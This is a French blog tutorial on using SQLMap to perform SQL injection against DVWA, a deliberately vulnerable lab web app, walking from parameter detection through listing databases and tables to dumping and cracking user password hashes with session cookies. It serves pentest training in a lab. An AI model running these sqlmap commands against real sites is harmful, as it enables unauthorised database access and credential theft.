Injection SQL avec SQLMap

Bonjour à tous, aujourd’hui nous allons voir un outil très simple à utiliser afin d’exécuter des injections SQL en masse : SQLMap.

Présentation

Tout d’abord, une injection SQL c’est le faite d’attaquer une base de données en envoyant des requêtes SQL afin d’essayer de récupérer des informations de la base de données (structure, utilisateurs, mots de passe…).

Cet outil est open source et est inclut dans Kali.

Si vous utilisez un système autre que Kali, il vous faudra installer l’outil via le github officiel. Sur CentOS, on aura donc :

yum install git python
mkdir -p /opt/tools && cd /opt/tools/
git clone https://github.com/sqlmapproject/sqlmap.git && cd sqlmap

Puis, vous pouvez lancer sqlmap via l’utilitaire python :

python sqlmap.py

Dans notre cas nous utiliserons directement sqlmap de Kali donc qui se lance via la commande sqlmap

Préparation de la plateforme web

Il vous faudra préparer votre environnement afin de réaliser vos injections SQL. Pour cela, nous allons utiliser DVWA.

Qu’est-ce que DVWA ?

DVWA (Damn Vulnerable Web App) est une application web vulnérable écrite en PHP/SQL. Cette application permet de découvrir le « web pentesting ».

Vous pouvez récupérer un LiveCD (prêt à l’emplois) en ISO ici pour monter votre VM web vulnérable ou suivre l’article de Mickaël pour la déployer via Docker : https://net-security.fr/system/commencez-le-pentest-avec-docker/

Lorsque votre installation est terminée, récupérez l’adresse IP de votre machine et accédez à l’interface web. Dans mon cas ça sera http://dvwa.lab.local

Configuration de DVWA

Si vous n’avez pas pris le LiveCD, il vous faudra configurer la base de données.

Si vous avez injecté des éléments dans la base de données, vous pouvez la recréer rapidement via l’onglet Setup :

Si vous commencez à faire du pentest, ou simplement tester des injections SQL simplement via SQLMap, il vous faudra mettre le niveau de sécurité à « faible » :

La mise en place de l’injection SQL

Tout est prêt pour faire notre injection SQL via l’outil SQLMap. C’est partie !

Tout d’abord, vous devez vous rendre dans l’onglet « SQL Injection » :

Nous allons tester le bouton « submit » pour vérifier si des paramètres sont envoyés au serveur :

Nous pouvons voir que le serveur attend deux paramètres :

  • Un identifiant via le paramètre id=
  • L’action du bouton : Submit=Submit

Nous allons donc tester directement via l’outil SQLMap si le champs « User ID » est injectable :

sqlmap -u "http://dvwa.lab.local/vulnerabilities/sqli/?id=&Submit=Submit"

NB : L’argument -u permet de spécifier une cible

Nous pouvons observer que le site nous redirige (code 302 pour redirection permanente) vers l’accueil où il y a le formulaire de connexion.

Nous devons donc trouver le moyen de se connecter via l’outil. En recherchant dans la page web, nous trouvons des cookies de sessions :

Nous récupérons le PHPSESSID et également la valeur du niveau de sécurité que nous avons fixé précédement.

Nous allons donc ressaisir la commande en incluant le paramètre cookie :

sqlmap -u "http://dvwa.lab.local/vulnerabilities/sqli/?id=&Submit=Submit" --cookie="PHPSESSID=hch0coigflcc0lakj4vect5v93;security=low"

Nous obtenons 3 informations importantes concernant l’injection SLQ :

A : Il y a 3 payload qui permettent d’injecter une commande, la plus simple est de type booléen « vide » : id= » OR NOT nombre=nombre&Submit=Submit ». Le nombre étant égal à lui même, la commande est injectée.

B : L’outil a récupéré les informations de la base de données utilisées : MySQL, avec une estimation de la version.

C : L’emplacement de sauvegarde des différentes données.

Nous avons trouvé la porte d’entrée, il nous reste plus qu’à récupérer les informations, comme par exemple les bases de données :

sqlmap -u "http://dvwa.lab.local/vulnerabilities/sqli/?id=&Submit=Submit" --cookie="PHPSESSID=hch0coigflcc0lakj4vect5v93;security=low" --dbs

Nous récupérons le nom de 6 bases de données.

Nous pouvons faire la même chose avec l’argument tables pour lister toutes les tables de chaque base de données :

sqlmap -u "http://dvwa.lab.local/vulnerabilities/sqli/?id=&Submit=Submit" --cookie="PHPSESSID=hch0coigflcc0lakj4vect5v93;security=low" --tables

Mainteant que vous avez les différentes bases de données et tables existantes, vous pouvez récupérer les colonnes d’une table spécifique. Nous prendrons l’exemple sur la table « users » de la base « dvwa » :

sqlmap -u "http://dvwa.lab.local/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=hch0coigflcc0lakj4vect5v93;security=low" -D dvwa -T users --columns

NB
-D : base de données
-T : table
–columns : liste les colonnes de la table

Grâce à ces informations, nous allons pouvoir essayer de faire un dump des utilisateurs et de leur mot de passe :

sqlmap -u "http://dvwa.lab.local/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=hch0coigflcc0lakj4vect5v93;security=low" -D dvwa -T users -C user,password --dump

NB
-C : sélectionne les colonnes
–dump : récupère les informations

SQLMap vous demande si vous souhaitez utiliser un dictionnaire de mot de passe pour qu’il trouve la correspondance des hashs : répondez oui.

On obtient donc les mots de passe de chaque utilisateur.

Vous savez maintenant utiliser l’outil SQLMap pour réaliser des injections SQL rapidement. N’hésitez pas à regarder les différents arguments possibles, car vous pouvez faire beacuoup de chose (comme faire apparaître un prompt SQL par exemple).

J’espère que l’article vous aura plu. N’hésitez pas à commenter si vous avez la moindre remarque.

A bientôt,

Fabio Pace.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.